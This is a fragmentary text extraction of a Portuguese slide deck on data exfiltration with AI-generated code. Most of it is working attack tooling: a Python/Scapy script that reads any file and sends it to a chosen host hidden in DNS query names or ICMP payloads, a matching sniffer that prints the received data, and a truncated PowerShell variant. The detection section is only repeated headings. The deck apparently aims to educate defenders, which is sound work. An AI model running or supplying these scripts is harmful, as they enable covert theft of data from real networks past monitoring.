Escolar Documentos
Profissional Documentos
Cultura Documentos
Exfiltração de
Inteligência Artificial
dados com IA
O avanço da Inteligência artificial tem ajudado muitos Exfiltração de Dados
profissionais de Cyber Segurança no desenvolvimento
de suas atividades, porém, nem todos os profissionais
atuam com foco na defesa.
Página 2 de 27
Vídeo
https://www.youtube.com/watch?v=teKIclsxvE0
Página 3 de 27
Inteligência Artificial
Inteligência Artificial
Porém, no cenário
de Cyber Segurança
não temos apenas
os profissionais de
defesa...
O que pode
acontecer quando a
Inteligência Artificial
é utilizada pelo
Cyber Crime
Página 5 de 27
import sys
from scapy.all import *
PACKET_SIZE = 1024 # Tamanho máximo do pacote
def send_dns_payload(data, dest_host):
num_packets = (len(data) + PACKET_SIZE - 1) // PACKET_SIZE # Calcula o número de
pacotes necessários
for i in range(num_packets):
start = i * PACKET_SIZE
end = start + PACKET_SIZE
payload = data[start:end]
dns_packet = IP(dst=dest_host) / UDP() / DNS(rd=1, qd=DNSQR(qname=payload))
send(dns_packet)
def send_icmp_payload(data, dest_host):
num_packets = (len(data) + PACKET_SIZE - 1) // PACKET_SIZE # Calcula o número de
pacotes necessários
for i in range(num_packets):
start = i * PACKET_SIZE
end = start + PACKET_SIZE
payload = data[start:end]
icmp_packet = IP(dst=dest_host) / ICMP() / payload
send(icmp_packet)
if __name__ == '__main__':
if len(sys.argv) != 4:
print('Uso: python script.py <caminho_do_arquivo> <host_destino> <tipo_envio>')
print('Tipos de envio disponíveis: dns, icmp')
sys.exit(1)
file_path = sys.argv[1]
dest_host = sys.argv[2]
send_type = sys.argv[3]
with open(file_path, 'rb') as file:
data = file.read()
if send_type == 'dns':
send_dns_payload(data, dest_host)
elif send_type == 'icmp':
send_icmp_payload(data, dest_host)
else:
print('Tipo de envio inválido. Tipos disponíveis: dns, icmp')
Página 8 de 27
import sys
from scapy.all import *
def sniff_packets(send_type):
def process_packet(packet):
if send_type == 'dns':
if DNS in packet and packet[DNS].opcode == 0: # Verifica se é
um pacote DNS de resposta
payload = packet[DNSQR].qname.decode()
if payload.endswith('.'):
payload = payload[:-1]
print(f'Dados recebidos: {payload}')
sniff(prn=process_packet)
if __name__ == '__main__':
if len(sys.argv) != 2:
print('Uso: python script.py <tipo_envio>')
print('Tipos de envio disponíveis: dns, icmp')
sys.exit(1)
send_type = sys.argv[1]
sniff_packets(send_type)
Página 11 de 27
Identificação do Ataque
Como um profissional
de segurança, é
possível identificar esta
transferência de dados?
Qual comportamento
anormal este tipo de
transferência poderia
alertar?
Página 15 de 27
Identificação do Ataque
Identificação do Ataque
Identificação do Ataque
Identificação do Ataque
Identificação do Ataque
Identificação do Ataque
param (
[Parameter(Mandatory=$true)]
[ValidateSet('dns', 'icmp')]
[string]$SendType,
[Parameter(Mandatory=$true)]
[string]$FilePath,
[Parameter(Mandatory=$true)]
[string]$DestinationHost
)
$packetSize = 1024 # Tamanho máximo do pacote
function Send-DnsPayload {
param (
[byte[]]$data,
[string]$destHost
)
$numPackets = [Math]::Ceiling($data.Length / $packetSize) # Calcula o número de pacotes
necessários
for ($i = 0; $i -lt $numPackets; $i++) {
$start = $i * $packetSize
$end = $start + $packetSize
import sys
from scapy.all import *
def sniff_packets(send_type):
def process_packet(packet):
if send_type == 'dns':
if DNS in packet and packet[DNS].opcode == 0: #
Verifica se é um pacote DNS de resposta
payload = packet[DNSQR].qname.decode()
if payload.endswith('.'):
payload = payload[:-1]
print(f'Dados recebidos: {payload}')
sniff(prn=process_packet)
if __name__ == '__main__':
if len(sys.argv) != 2:
print('Uso: python script.py <tipo_envio>')
print('Tipos de envio disponíveis: dns, icmp')
sys.exit(1)
send_type = sys.argv[1]
sniff_packets(send_type)
Página 27 de 27